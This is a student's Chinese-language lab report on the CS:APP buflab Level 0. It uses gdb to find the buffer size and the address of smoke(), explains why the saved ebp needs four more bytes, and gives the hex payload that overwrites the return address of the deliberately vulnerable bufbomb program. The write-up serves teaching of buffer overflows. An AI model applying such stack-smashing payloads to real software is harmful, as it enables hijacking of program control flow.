buflab实验报告:32位程序缓冲区溢出攻击
在此实验开始之前,弄清楚给你的三个文件分别干嘛的。
bufbomb
:实验需要攻击的程序
hex2raw
:根据填写的字节生成攻击字符串
makecookie
:对每个实验用户生成一个八位十六进制的字节序列,用于识别用户。(可能是用来打分的)
在gdb
要运行的时候,一定要输入r -u <your id>
,终端运行要输入./bufbomb -u <your id>
,否则你是运行不了的。那咱们先输入./makecookie -q
生成你的cookie(id)
,最好先找个地儿保存一下。
作者在这里赞美一下这本书的编者:csapp
的所有实验设计简直不要太好,学习计算机系统本是一个很枯燥的学习过程,但是这里的实验最大程度激发学生学习的兴趣。同时也希望国内的编者能够借鉴这本书的巧妙之处,让国内出越来越多的优秀教材。(由于本人表达能力不够,也只能这么夸了qwq)
level0:Candle
这一堆英文我反正也看不来qwq
,既然是level0
不妨问题想简单一点:给了我test()
函数,调用了一个getbuf()
,而后又有一个gets()
危险函数,又给了一个Smoke()
函数,那么无疑,应该就是通过溢出调用Somke()
,先反正不涉及代码注入等东西gdb
就是万能的,我们普通地这么溢出只需要确定两点:
- 缓冲区的大小
Smoke()
函数的地址
先gdb bufbomb
然后:
print Smoke
就可以输出函数的地址,disassemble getbuf
就可以查看getbuf()
的汇编代码
可以看到,buf
的大小是0x28
,那么就构造payload
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
18 8c 04 08
但是发生了段错误,这里我调了很久,也可能是因为之前做64位的攻击,有点忘了32位的攻击的区别,因为真的之前就是它缓冲区开了多少我填那么多再堆返回地址就好了的。直到我看到getbuf()
函数有一个leave
指令,我这就去网上搜了一下leave
指令。
Leave==
movl %ebp %esp
popl %ebp
啊这?又被弹出来了原来的ebp
?可能在你们眼里这个完全是个没必要犯得错误,但是我遇到了我就得这么讲出来,也算是一种提升吧。那就很清楚了,我们把函数返回地址弹出去了,就导致给eip
的不知道是什么地址了。所以再加四字节的00
,就会把00 00 00 00
弹给ebp
而把smoke()
函数的返回地址弹给eip
了。所以正确的payload
应该是
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
18 8c 04 08